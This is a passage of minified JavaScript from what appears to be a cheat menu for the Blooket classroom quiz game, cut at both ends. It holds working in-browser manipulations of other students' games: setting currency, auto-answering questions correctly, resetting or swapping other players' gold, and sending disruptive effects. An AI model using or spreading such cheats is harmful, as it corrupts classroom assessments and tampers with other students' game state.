Bot",color:"#51ba6b",class:"🤖",rarity:"Uncommon",cash:[11e3,45e3,5e5,25e5,3e7],time:[2,2,2,1,1],price:[14e5,15e6,18e7,24e8]},{name:"Watson",color:"#d69b5a",class:"🤖",rarity:"Rare",cash:[24e3,1e5,1e6,1e7,1e8],time:[3,3,3,3,3],price:[2e6,22e6,24e7,26e8]},{name:"Buddy Bot",color:"#9dc6ea",class:"🤖",rarity:"Rare",cash:[22e3,95e3,65e4,65e5,65e6],time:[3,3,2,2,2],price:[19e5,21e6,23e7,25e8]},{name:"Brainy Bot",color:"#9ecf7a",class:"🤖",rarity:"Epic",cash:[5e4,25e4,21e5,21e6,17e7],time:[4,3,3,3,2],price:[5e6,46e6,5e8,67e8]},{name:"Mega Bot",color:"#d71f27",class:"🤖",rarity:"Legendary",cash:[8e4,43e4,42e5,62e6,1e9],time:[5,5,3,3,3],price:[7e6,12e7,19e8,35e9]}].map(e=>({name:e.name,value:JSON.stringify(e)}))}],run:function(e){var t=document.createElement("iframe"),t=(document.body.append(t),window.alert=t.contentWindow.alert.bind(window),t.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"];10<=t.state.blooks.length&&alert("Choose a blook to replace"),t.chooseBlook(JSON.parse(e))}},{name:"Free Upgrades",description:"Sets upgrade prices to 0 for all current blooks",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState(e=>({...e,blooks:e.blooks.map(e=>({...e,price:[0,0,0,0]}))}))}},{name:"Max Blooks",description:"Maxes out all your blooks' levels",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.blooks.forEach(e=>e.level=4)}},{name:"Remove Glitches",description:"Removes all enemy glitches",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState({bits:0,ads:[],hazards:[],color:"",lol:!1,joke:!1,slow:!1,dance:!1,glitch:"",glitcherName:"",glitcherBlook:""}),clearTimeout(e.adTimeout),clearInterval(e.hazardInterval),clearTimeout(e.nightTimeout),clearTimeout(e.glitchTimeout),clearTimeout(e.lolTimeout),clearTimeout(e.jokeTimeout),clearTimeout(e.slowTimeout),clearTimeout(e.danceTimeout),clearTimeout(e.nameTimeout)}},{name:"Send Glitch",description:"Sends a glitch to everyone else playing",inputs:[{name:"Glitch",type:"options",options:Object.entries({lb:"Lunch Break",as:"Ad Spam",e37:"Error 37",nt:"Night Time",lo:"#LOL",j:"Jokester",sm:"Slow Mo",dp:"Dance Party",v:"Vortex",r:"Reverse",f:"Flip",m:"Micro"}).map(([e,t])=>({name:t,value:e}))}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.safe=!0,t.props.liveGameController.setVal({path:`c/${t.props.client.name}/tat`,val:e})}},{name:"Set All MegaBot",description:"Sets all your blooks to maxed out Mega Bots",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({blooks:new Array(10).fill({name:"Mega Bot",color:"#d71f27",class:"🤖",rarity:"Legendary",cash:[8e4,43e4,42e5,62e6,1e9],time:[5,5,3,3,3],price:[7e6,12e7,19e8,35e9],active:!1,level:4,bonus:5.5})})}},{name:"Set Cash",description:"Sets amount of cash you have",inputs:[{name:"Cash",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({cash:e})}}]},fishing:{name:"Fishing Frenzy",img:"https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Fish_Weight.svg",cheats:[{name:"Frenzy",description:"Sets everyone to frenzy mode",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.props.liveGameController.setVal({path:"c/"+e.props.client.name,val:{b:e.props.client.blook,w:e.state.weight,f:"Frenzy",s:!0}})}},{name:"Remove Distractions",description:"Removes distractions",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({party:""})},50))}},{name:"Send Distraction",description:"Sends a distraction to everyone",inputs:[{name:"Distraction",type:"options",options:["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"]}],run:function(e){var t=document.createElement("iframe"),t=(document.body.append(t),window.alert=t.contentWindow.alert.bind(window),t.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner)["stateNode"];t.safe=!0,t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,w:t.state.weight,f:e,s:!0}})}},{name:"Set Lure",description:"Sets fishing lure (range 1 - 5)",inputs:[{name:"Lure (1 - 5)",type:"number",min:1,max:5}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({lure:Math.max(Math.min(e-1,4),0)})}},{name:"Set Weight",description:"Sets weight",inputs:[{name:"Weight",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({weight:e,weight2:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,w:e,f:["Crab","Jellyfish","Frog","Pufferfish","Octopus","Narwhal","Megalodon","Blobfish","Baby Shark"][Math.floor(9*Math.random())]}})}}]},flappy:{name:"Flappy Blook",img:"https://media.blooket.com/image/upload/v1645222006/Blooks/yellowBird.svg",cheats:[{name:"Toggle Ghost",description:"Lets you go through the pipes",type:"toggle",enabled:!1,run:function(){this.enabled=!this.enabled,Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.state.game.scene.physics.world.bodies.entries.forEach(e=>e.gameObject.frame.texture.key.startsWith("blook")&&(e.checkCollision.none=this.enabled,e.gameObject.setAlpha(this.enabled?.5:1)))}},{name:"Set Score",description:"Sets flappy blook score",inputs:[{name:"Score",type:"number"}],run:function(e){Object.values(document.querySelector("#phaser-bouncy"))[1].children[0]._owner.stateNode.setState({score:e})}}]},gold:{name:"Gold Quest",img:"https://media.blooket.com/image/upload/v1661496292/Media/uiTest/Gold.svg",cheats:[{name:"Always Triple",description:"Always get triple gold",type:"toggle",enabled:!1,data:null,run:function(){let t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t._choosePrize||=t.choosePrize,this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null,t.choosePrize=t._choosePrize||t.choosePrize):(this.enabled=!0,this.data=setInterval(()=>{t.choosePrize=function(e){t.state.choices[e]={type:"multiply",val:3,text:"Triple Gold!",blook:"Unicorn"},t._choosePrize(e)}},50))}},{name:"Auto Choose",description:"Automatically picks the option that would give you the most gold",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(async()=>{try{let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];if("prize"===o.state.stage){var s=Object.entries(await new Promise(t=>o.props.liveGameController.getDatabaseVal("c",e=>e&&t(e)))||[]).filter(e=>e[0]!=o.props.client.name).sort((e,t)=>t[1].g-e[1].g)[0]?.[1]?.g||0;let a=0;index=-1;for(let t=0;t{Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state.choices.forEach(({text:e},t)=>{var a,t=document.querySelector(`div[class^='styles__choice${t+1}']`);t&&!t.querySelector("div")&&((a=document.createElement("div")).style.color="white",a.style.fontFamily="Eczar",a.style.fontSize="2em",a.style.display="flex",a.style.justifyContent="center",a.style.transform="translateY(200px)",a.innerText=e,t.append(a))})},50))}},{name:"Reset Players Gold",description:"Sets a player's gold to 0",inputs:[{name:"Player",type:"options",options:()=>{let e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];return new Promise(t=>e.props.liveGameController?._liveApp?e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e))):t([]))}}],run:function(e){var{props:t,state:a}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.liveGameController.setVal({path:"c/".concat(t.client.name),val:{b:t.client.blook,g:a.gold,tat:e+":swap:0"}})}},{name:"Set Gold",description:"Sets amount of gold",inputs:[{name:"Gold",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({gold:e,gold2:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,g:e}})}},{name:"Swap Gold",description:"Swaps gold with someone",inputs:[{name:"Player",type:"options",options:()=>{let e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];return new Promise(t=>e.props.liveGameController?._liveApp?e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e))):t([]))}}],run:function(t){let a=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];a.props.liveGameController.getDatabaseVal("c",e=>{e?.[t]&&(e=e[t]["g"],a.props.liveGameController.setVal({path:"c/".concat(a.props.client.name),val:{b:a.props.client.blook,g:e,tat:t+":swap:"+a.state.gold}}),a.setState({gold:e,gold2:e}))})}},{name:"Reset All Players' Gold",description:"Set's everyone else's gold to 0",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove();let{props:a,state:o}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"],s=0;a.liveGameController.getDatabaseVal("c",async e=>{if(e)for(const t of Object.keys(e))a.liveGameController.setVal({path:"c/".concat(a.client.name),val:{b:a.client.blook,g:o.gold,tat:t+":swap:0"}}),s++,await new Promise(e=>setTimeout(e,4e3));alert(`Reset ${s} players' gold!`)})}}]},kingdom:{name:"Crazy Kingdom",img:"https://media.blooket.com/image/upload/v1655161323/Media/survivor/Jester_lvl1.svg",cheats:[{name:"Choice ESP",description:"Shows you what will happen if you say Yes or No",type:"toggle",enabled:!1,data:null,run:function(){if(this.enabled)this.enabled=!1,clearInterval(this.data),Array.from(document.getElementsByClassName("choiceESP")).forEach(e=>e.remove()),this.data=null;else{this.enabled=!0;let a=["materials","people","happiness","gold"],o=Object.fromEntries([...document.querySelectorAll("[class^=styles__statContainer]")].map((e,t)=>[a[t],e]));this.data=setInterval(()=>{var{guest:e,phase:t}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.state;"choice"==t&&(Array.from(document.getElementsByClassName("choiceESP")).forEach(e=>e.remove()),Object.entries(e.yes||{}).forEach(e=>{var t;"msg"!=e[0]&&a.includes(e[0])&&((t=document.createElement("div")).className="choiceESP",t.style="font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;",t.innerText=String(e[1]),o[e[0]].appendChild(t))}),Object.entries(e.no||{}).forEach(e=>{var t;"msg"!=e[0]&&a.includes(e[0])&&((t=document.createElement("div")).className="choiceESP",t.style="font-size: 24px; color: darkred; font-weight: bolder;",t.innerText=String(e[1]),o[e[0]].appendChild(t))}))},50)}}},{name:"Disable Tax Toucan",description:"Tax evasion",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.taxCounter=Number.MAX_VALUE}},{name:"Max Stats",description:"Sets all resources to the max",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({materials:100,people:100,happiness:100,gold:100})}},{name:"Set Guests",description:"Sets the amount of guests you've seen",inputs:[{name:"Guests",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({guestScore:e})}},{name:"Skip Guest",description:"Skips the current guest",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.nextGuest()}}]},racing:{name:"Racing",img:"https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Racing_Progress.svg",cheats:[{name:"Instant Win",description:"Instantly Wins the race",run:function(){const e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.setState({progress:e.state.goalAmount},()=>{const{question:a}=e["state"];try{[...document.querySelectorAll('[class*="answerContainer"]')][a.answers.map((e,t)=>a.correctAnswers.includes(e)?t:null).filter(e=>null!=e)[0]]?.click?.()}catch{}})}}]},royale:{name:"Battle Royale",img:"https://media.blooket.com/image/upload/v1655936179/Media/br/VS_Lightning_Bolt_Bottom.svg",cheats:[{name:"Auto Answer (Toggle)",description:"Toggles auto answer on",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval(()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e?.onAnswer?.(!0,e.props.client.question.correctAnswers[0])},50))}},{name:"Auto Answer",description:"Chooses the correct answer for you",run:function(){var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e?.onAnswer?.(!0,e.props.client.question.correctAnswers[0])}}]},rush:{name:"Blook Rush",img:Object.values(s.c).find(e=>e.exports.a?.basic).exports.a.basic.shield,cheats:[{name:"Set Blooks",description:"Sets amount of blooks you or your team has",inputs:[{name:"Blooks",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({numBlooks:e}),t.isTeam?t.props.liveGameController.setVal({path:`a/${t.props.client.name}/bs`,val:e}):t.props.liveGameController.setVal({path:`c/${t.props.client.name}/bs`,val:numDefense})}},{name:"Set Defense",description:"Sets amount of defense you or your team has (Max 4)",inputs:[{name:"Defense (max 4)",type:"number",max:4}],run:function(e){var e=Math.min(e,4),t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({numDefense:e}),t.isTeam?t.props.liveGameController.setVal({path:`a/${t.props.client.name}/d`,val:e}):t.props.liveGameController.setVal({path:`c/${t.props.client.name}/d`,val:e})}}]},workshop:{name:"Santa's Workshop",img:Object.values(s.c).find(e=>e.exports.a?.basic).exports.a.basic.toy,cheats:[{name:"Remove Distractions",description:"Removes all enemy distractions",run:function(){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({fog:!1,dusk:!1,wind:!1,plow:!1,blizzard:!1,force:!1,canada:!1,trees:[!1,!1,!1,!1,!1,!1,!1,!1,!1,!1]})}},{name:"Send Distraction",description:"Sends a distraction to everyone else playing",inputs:[{name:"Distraction",type:"options",options:Object.entries({c:"Oh Canada",b:"Blizzard",f:"Fog Spell",d:"Dark & Dusk",w:"Howling Wind",g:"Gift Time!",t:"TREES",s:"Snow Plow",fr:"Use The Force"}).map(([e,t])=>({name:t,value:e}))}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.safe=!0,t.props.liveGameController.setVal({path:`c/${t.props.client.name}/tat`,val:e})}},{name:"Set Toys",description:"Sets amount of toys",inputs:[{name:"Toys",type:"number"}],run:function(e){var t=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];t.setState({toys:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,t:e}})}},{name:"Set Toys Per Question",description:"Sets amount of toys per question",inputs:[{name:"Toys Per Question",type:"number"}],run:function(e){Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode.setState({toysPerQ:e})}},{name:"Swap Toys",description:"Swaps toys with someone",inputs:[{name:"Player",type:"options",options:()=>{let e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];return new Promise(t=>e.props.liveGameController?._liveApp?e.props.liveGameController.getDatabaseVal("c",e=>e&&t(Object.keys(e))):t([]))}}],run:function(a){let o=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];o.props.liveGameController.getDatabaseVal("c",e=>{var t;e&&Object.keys(e).map(e=>e.toLowerCase()).includes(a.toLowerCase())&&([e,{t}]=Object.entries(e).find(([e])=>e.toLowerCase()==a.toLowerCase()),o.props.liveGameController.setVal({path:"c/".concat(o.props.client.name),val:{b:o.props.client.blook,t:t,tat:e+":swap:"+o.state.toys}}),o.setState({toys:t}))})}}]},settings:{name:"Settings",img:null,cheats:[{name:"Import Settings",description:"Import a custom theme",inputs:[{name:"JSON Data",type:"string"}],run:function(e){try{JSON.parse(e)}catch(e){return alert("Invalid JSON provided")}e={backgroundColor:"rgb(11, 194, 207)",infoColor:"#9a49aa",cheatList:"#9a49aa",defaultButton:"#9a49aa",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"#7a039d",contentBackground:"rgb(64, 17, 95)",...JSON.parse(e)},_.setItem("theme",e)}},{name:"Export Settings",description:"Export the current theme to JSON",run:async function(){await navigator.clipboard.writeText(JSON.stringify(_.data.theme,null,4)),prompt("Text copied to clipboard. (Paste below to test)")}},{name:"Defaults",description:"Changes all the settings to a preset",inputs:[{name:"Theme",type:"options",options:[{name:"Default",value:{backgroundColor:"rgb(11, 194, 207)",infoColor:"#9a49aa",cheatList:"#9a49aa",defaultButton:"#9a49aa",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"#7a039d",contentBackground:"rgb(64, 17, 95)"}},{name:"Blacket",value:{backgroundColor:"#4f4f4f",infoColor:"#2f2f2f",cheatList:"#2f2f2f",defaultButton:"#4f4f4f",disabledButton:"#eb6234",enabledButton:"#00c20c",textColor:"white",inputColor:"#3f3f3f",contentBackground:"#2f2f2f"}},{name:"Skool.lol",value:{backgroundColor:"linear-gradient(90deg, rgba(104,45,140,1) 220px, rgba(237,30,121,1) 100%)",cheatList:"#1e2124",infoColor:"#1e2124",defaultButton:"#36393e",inputColor:"#1e2124",enabledButton:"#9c9a9a",textColor:"white",disabledButton:"#171717",contentBackground:"#292929"}},{name:"Blue - Purple Background",value:{backgroundColor:"linear-gradient(162.5deg, rgba(0,183,255,1) 220px, rgba(128,0,255,1) 100%)"}},{name:"Saint Patricks Background",value:{backgroundColor:"rgb(9, 148, 65)"}},{name:"Halloween Background",value:{backgroundColor:"rgb(41, 41, 41)"}},{name:"Fall Background",value:{backgroundColor:"rgb(224, 159, 62)"}},{name:"Winter Background",value:{backgroundColor:"linear-gradient(rgb(49, 170, 224), rgb(187, 221, 255))"}},{name:"Crypto Hack",value:{backgroundColor:"radial-gradient(#11581e,#041607)",infoColor:"#1a1a1a",cheatList:"#1a1a1a",defaultButton:"rgb(88 175 88)",disabledButton:"#A02626",enabledButton:"#0b601b",textColor:"white",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"#11581e"}},{name:"Fishing Frenzy",value:{backgroundColor:"linear-gradient(180deg,#9be2fe 0,#67d1fb)",infoColor:"#c8591e",cheatList:"#c8591e",defaultButton:"#ff751a",disabledButton:"#bf0e0e",enabledButton:"#2fb62f",textColor:"white",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"radial-gradient(#02b0ea 40%, #1d86ea)"}},{name:"Deceptive Dinos",value:{backgroundColor:'radial-gradient(rgba(220, 184, 86, 0), rgba(220, 184, 86, 0.4)), url("https://ac.blooket.com/play/111cb7e0ee6607ac3d1a13d534c0e0f1.png"), #ead49a',infoColor:"#af8942",cheatList:"#af8942",defaultButton:"#af8942",disabledButton:"#A02626",enabledButton:"#47A547",textColor:"white",inputColor:"rgb(0 0 0 / 10%)",contentBackground:"radial-gradient(rgba(1,104,162,.6),rgba(24,55,110,.5)),radial-gradient(#2783b4 1.5px,#18376e 0) center / 24px 24px"}},{name:"Blook Rush",value:{backgroundColor:"repeating-linear-gradient(45deg,white,white 8%,#e6e6e6 0,#e6e6e6 16%)",defaultButton:"#36c",inputColor:"rgb(0 0 0 / 25%)",infoColor:"#36c",cheatList:"#36c",contentBackground:"#888",textColor:"white",disabledButton:"#A02626",enabledButton:"#47A547"}},{name:"Factory",value:{defaultButton:"#1563bf",infoColor:"#a5aabe",cheatList:"#a5aabe",contentBackground:"#2d313d",backgroundColor:"#3a3a3a",enabledButton:"rgb(75, 194, 46)",disabledButton:"#9a49aa",inputColor:"rgb(0 0 0 / 25%)",textColor:"white"}},{name:"Cafe",value:{backgroundColor:"linear-gradient(90deg,rgba(200,0,0,.5) 50%,transparent 0) center / 50px 50px,linear-gradient(rgba(200,0,0,0.5) 50%,transparent 0) white center / 50px 50px",defaultButton:"#0bc2cf",inputColor:"rgb(0 0 0 / 25%)",infoColor:"#ac7339",cheatList:"#ac7339",contentBackground:"rgb(64, 64, 64)",textColor:"white",disabledButton:"#A02626",enabledButton:"#47A547"}},{name:"Tower of Doom",value:{backgroundColor:"rgb(41 41 41)",disabledButton:"rgb(151, 15, 5)",defaultButton:"#333",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"#404040",enabledButton:"#4bc22e",textColor:"white",infoColor:"#9a49aa",cheatList:"#9a49aa"}},{name:"Monster Brawl",value:{defaultButton:"rgb(45, 51, 67)",backgroundColor:"rgb(78, 95, 124)",inputColor:"rgb(0 0 0 / 25%)",contentBackground:"linear-gradient(0deg,#374154,#4f5b74)",infoColor:"#374154",cheatList:"#374154",textColor:"white",enabledButton:"#47A547",disabledButton:"#A02626"}},{name:"Tower Defense 2",value:{backgroundColor:"url(https://media.blooket.com/image/upload/v1676164454/Media/defense/backgroundTd1-02.svg) center / cover",cheatList:"#a33c22",infoColor:"#a33c22",defaultButton:"#40b1d8",inputColor:"#3e8cbe",contentBackground:"#293c82",enabledButton:"#47A547",disabledButton:"#A02626",textColor:"white"}}]}],run:function(e){_.setItem("theme",{..._.data.theme,...e})}},{name:"Scale",description:"Forces the GUI to scale from 25%-100%",inputs:[{type:"number",name:"Percent scale",min:25,max:100,value:100*(_.data?.scale||1)}],run:function(e){e=Math.min(Math.max(e,25),100),_.setItem("scale",e/100),guiWrapper.style.transform=`scale(${e/100})`}},{name:"Hide Keybind",description:"Change the hide keybind (Click button after input to change)",inputs:[{type:"function",name:"Input",function:s=>a(({shift:e,ctrl:t,alt:a,key:o})=>s(""+[t&&"Ctrl",e&&"Shift",a&&"Alt",o&&o.toUpperCase()].filter(Boolean).join(" + ")))}],run:function(e){_.setItem("hide",e)}},{name:"Close Keybind",description:"Change the quick close keybind (Click button after input to change)",inputs:[{type:"function",name:"Input",function:s=>a(({shift:e,ctrl:t,alt:a,key:o})=>s(""+[t&&"Ctrl",e&&"Shift",a&&"Alt",o&&o.toUpperCase()].filter(Boolean).join(" + ")))}],run:function(e){_.setItem("close",e)}},{name:"Background Color",description:"Changes the background color of the GUI",inputs:[{type:"string",name:"Color"}],run:function(e){_.setItem("theme.backgroundColor",e)}},{name:"Category List Color",description:"Changes the categories list background color",inputs:[{type:"string",name:"Color"}],run:function(e){_.setItem("theme.cheatList",e)}},{name:"Info Color",description:"Changes the color of the information at the top of the GUI",inputs:[{type:"string",name:"Color"}],run:function(e){_.setItem("theme.infoColor",e)}},{name:"Button Color",description:"Changes the color of the cheats",inputs:[{type:"string",name:"Color"}],run:function(e){_.setItem("theme.defaultButton",e)}},{name:"Enabled Toggle Color",description:"Changes the color of enabled toggle cheats",inputs:[{type:"string",name:"Color"}],run:function(e){_.setItem("theme.enabledButton",e)}},{name:"Disabled Toggle Color",description:"Changes the color of disabled toggle cheats",inputs:[{type:"string",name:"Color"}],run:function(e){_.setItem("theme.disabledButton",e)}},{name:"Text Color",description:"Changes the text color",inputs:[{type:"string",name:"Color"}],run:function(e){_.setItem("theme.textColor",e)}},{name:"Input Color",description:"Changes the color of inputs, like the set gold number input",inputs:[{type:"string",name:"Color"}],run:function(e){_.setItem("theme.inputColor",e)}},{name:"Content Color",description:"Changes the background color of the cheats",inputs:[{type:"string",name:"Color"}],run:function(e){_.setItem("theme.contentBackground",e)}}]},alerts:{name:"Alerts",img:null,alerts:[{message:"[LOG] GUI opened"}],diffObjects(e,t){var a,o={};for(const s in e)s in t&&("object"==typeof e[s]&&"object"==typeof t[s]?(a=E.alerts.diffObjects(e[s],t[s]))&&0!==Object.keys(a).length&&(o[s]=a):JSON.stringify(e[s])!==JSON.stringify(t[s])&&(o[s]=t[s]));for(const n in t)n in e||(o[n]=t[n]);return 0==Object.keys(o).length?null:o},addLog(t,a){E.alerts.visible?E.alerts.setAlerts(e=>[...e,{message:t,color:a}]):E.alerts.alerts.push({message:t,color:a})},addAlert(e,t,a){let o={message:f.createElement(f.Fragment,null,f.createElement("img",{src:t||E.alerts.blookData?.Black?.url,alt:"Blook",style:{height:"22.5px",margin:"0 10px -5px 0"}}),f.createElement("strong",null,e)," ",a)};E.alerts.visible?E.alerts.setAlerts(e=>[...e,o]):E.alerts.alerts.push(o)},getGamemode(){switch(window.location.pathname){case"/play/racing":return"racing";case"/play/factory":return"factory";case"/play/classic/get-ready":case"/play/classic/question":case"/play/classic/answer/sent":case"/play/classic/answer/result":case"/play/classic/standings":return"classic";case"/play/battle-royale/match/preview":case"/play/battle-royale/question":case"/play/battle-royale/answer/sent":case"/play/battle-royale/answer/result":case"/play/battle-royale/match/result":return"royale";case"/play/toy":return"workshop";case"/play/gold":return"gold";case"/play/brawl":return"brawl";case"/play/hack":return"hack";case"/play/fishing":return"fishing";case"/play/rush":return"rush";case"/play/dino":return"dino";case"/tower/map":case"/tower/battle":case"/tower/rest":case"/tower/risk":case"/tower/shop":case"/tower/victory":return"doom";case"/cafe":case"/cafe/shop":return"cafe";case"/defense":return"defense";case"/play/defense2":return"defense2";case"/kingdom":return"kingdom";default:return!1}},connection:null,data:{},async connect(){try{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];if(!e?.props?.liveGameController?._liveGameCode)return!1;E.alerts.connection=await e.props.liveGameController.getDatabaseRef("c");const w=E.alerts.blookData,k=E.alerts.getGamemode(),x=Object.values(s.c).find(e=>e.exports.a?.["Lunch Break"]).exports.b;return E.alerts.connection.on("value",e=>{var t=e.val()||{};if(t&&E.alerts.diffObjects(E.alerts.data,t)){var a,o,s,n,r,i,l,c,d=E.alerts.diffObjects(E.alerts.data,t);E.alerts.data=t;let e;switch(k){case"racing":e=Object.entries(t).map(([e,{b:t,pr:a}])=>({name:e,blook:t,value:a||0}));case"classic":e=Object.entries(t).map(([e,{b:t,p:a}])=>({name:e,blook:t,value:a||0}));case"royale":e=Object.entries(t).map(([e,{b:t,e:a}])=>({name:e,blook:t,value:a||0}));case"workshop":e=Object.entries(t).map(([e,{b:t,t:a}])=>({name:e,blook:t,value:a||0}));case"brawl":e=Object.entries(t).map(([e,{b:t,xp:a}])=>({name:e,blook:t,value:a||0}));case"defense":case"defense2":e=Object.entries(t).map(([e,{b:t,d:a}])=>({name:e,blook:t,value:a||0}));case"gold":for(const h in d)d[h].tat&&([a,o]=d[h].tat.split(":"),"swap"==o?E.alerts.addAlert(h,w[t[h].b]?.url,"just swapped with "+a):E.alerts.addAlert(h,w[t[h].b]?.url,`just took ${E.alerts.formatNumber(parseInt(o))} gold from `+a));e=Object.entries(t).map(([e,{b:t,g:a}])=>({name:e,blook:t,value:a||0}));break;case"hack":for(const b in d)d[b].tat&&([s,n]=d[b].tat.split(":"),E.alerts.addAlert(b,w[t[b].b]?.url,`just took ${E.alerts.formatNumber(parseInt(n))} crypto from `+s));e=Object.entries(t).map(([e,{b:t,cr:a}])=>({name:e,blook:t,value:a||0}));break;case"fishing":for(const g in d)"Frenzy"==d[g].f?E.alerts.addAlert(g,w[t[g].b]?.url,"just started a frenzy"):d[g].s&&E.alerts.addAlert(g,w[t[g].b]?.url,`just sent a ${d[g].f} distraction`);e=Object.entries(t).map(([e,{b:t,w:a}])=>({name:e,blook:t,value:a||0}));break;case"dino":for(const y in d)d[y].tat&&([r,i]=d[y].tat.split(":"),"true"==i?E.alerts.addAlert(y,w[t[y].b]?.url,`just caught ${r} CHEATING!`):E.alerts.addAlert(y,w[t[y].b]?.url,"investigated "+r));e=Object.entries(t).map(([e,{b:t,f:a}])=>({name:e,blook:t,value:a||0}));break;case"cafe":for(const v in d)d[v].up&&([l,c]=d[v].up.split(":"),c)&&E.alerts.addAlert(v,w[t[v].b]?.url,`upgraded ${l} to level `+c);e=Object.entries(t).map(([e,{b:t,ca:a}])=>({name:e,blook:t,value:a||0}));break;case"factory":for(const f in d){var m,p,u=d[f];u.g?E.alerts.addAlert(f,w[t[f].b]?.url,`activated the ${x[u.g]} glitch!`):u.s?([m,p]=u.s.split("-"),E.alerts.addAlert(f,w[t[f].b]?.url,`has a ${m} ${p} synergy!`)):u.t&&E.alerts.addAlert(f,w[t[f].b]?.url,"now has 10 Blooks!")}e=Object.entries(t).map(([e,{b:t,ca:a}])=>({name:e,blook:t,value:a||0}))}E.alerts.standings=e.sort((e,t)=>t.value-e.value),E.alerts.setLeaderboard(E.alerts.standings)}}),!0}catch{return!1}},cheats:[{element:t(function(){const[e,t]=w([]),[a,o]=w([]);return E.alerts.setAlerts=t,E.alerts.setLeaderboard=o,C(()=>(E.alerts.blookData=Object.values(s.c).find(e=>e.exports.a?.Black).exports.a,E.alerts.formatNumber=Object.values(s("74sb")).find(e=>String(e).includes("×")||String(e).includes("toPrecision")),E.alerts.standings&&o(E.alerts.standings),t(E.alerts.alerts),E.alerts.visible=!0,window.Cheats=E,()=>E.alerts.visible=!1),[]),C(()=>{E.alerts.alerts=e},[e]),f.createElement("div",{className:B.keys.alertContainer},f.createElement("ul",{className:B.keys.alertList,style:{margin:"10px 10px 0 